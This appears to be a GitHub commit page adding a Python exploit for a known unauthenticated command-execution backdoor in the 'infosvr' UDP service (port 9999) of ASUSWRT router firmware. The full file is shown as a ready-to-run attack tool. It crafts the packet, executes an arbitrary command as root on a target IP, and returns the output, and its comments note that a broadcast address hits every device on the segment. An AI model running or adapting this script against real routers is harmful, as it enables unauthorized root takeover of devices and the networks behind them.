Skip to content

Commit 6a4da0f

Browse files
committed
Add exploit by Friedrich Postelstorfer
1 parent 98c53f4 commit 6a4da0f

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed

others/fp-xdb-35688.py

+85
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#!/usr/bin/env python3
2+
3+
# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
4+
# Date: 2014-10-11
5+
# Vendor Homepage: http://www.asus.com/
6+
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip
7+
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip
8+
# Tested Version: 3.0.0.4.376_1071-g8696125
9+
# Tested Device: RT-N66U
10+
11+
# Description:
12+
# A service called "infosvr" listens on port 9999 on the LAN bridge.
13+
# Normally this service is used for device discovery using the
14+
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
15+
# feature that allows an unauthenticated user on the LAN to execute commands
16+
# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
17+
# "iboxcom.h" is in asuswrt/release/src/router/shared.
18+
#
19+
# Affected devices may also include wireless repeaters and other networking
20+
# products, especially the ones which have "Device Discovery" in their features
21+
# list.
22+
#
23+
# Using broadcast address as the IP address should work and execute the command
24+
# on all devices in the network segment, but only receiving one response is
25+
# supported by this script.
26+
27+
import sys, os, socket, struct
28+
29+
30+
PORT = 9999
31+
32+
if len(sys.argv) < 3:
33+
print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr)
34+
sys.exit(1)
35+
36+
37+
ip = sys.argv[1]
38+
cmd = sys.argv[2]
39+
40+
enccmd = cmd.encode()
41+
42+
if len(enccmd) > 237:
43+
# Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server.
44+
print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
45+
sys.exit(1)
46+
47+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
48+
sock.bind(('0.0.0.0', PORT))
49+
sock.settimeout(2)
50+
51+
# Request consists of following things
52+
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
53+
# PacketType [byte] ; NET_PACKET_TYPE_CMD
54+
# OpCode [word] ; NET_CMD_ID_MANU_CMD
55+
# Info [dword] ; Comment: "Or Transaction ID"
56+
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
57+
# Password [byte[32]] ; Not checked at all
58+
# Length [word]
59+
# Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable
60+
61+
packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')
62+
63+
sock.sendto(packet, (ip, PORT))
64+
65+
66+
# Response consists of following things
67+
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
68+
# PacketType [byte] ; NET_PACKET_TYPE_RES
69+
# OpCode [word] ; NET_CMD_ID_MANU_CMD
70+
# Info [dword] ; Equal to Info of request
71+
# MacAddress [byte[6]] ; Filled in for us
72+
# Length [word]
73+
# Result [byte[420]] ; Actually returns that amount
74+
75+
while True:
76+
data, addr = sock.recvfrom(512)
77+
78+
if len(data) == 512 and data[1] == 22:
79+
break
80+
81+
length = struct.unpack('<H', data[14:16])[0]
82+
s = slice(16, 16+length)
83+
sys.stdout.buffer.write(data[s])
84+
85+
sock.close()

0 commit comments

Comments
 (0)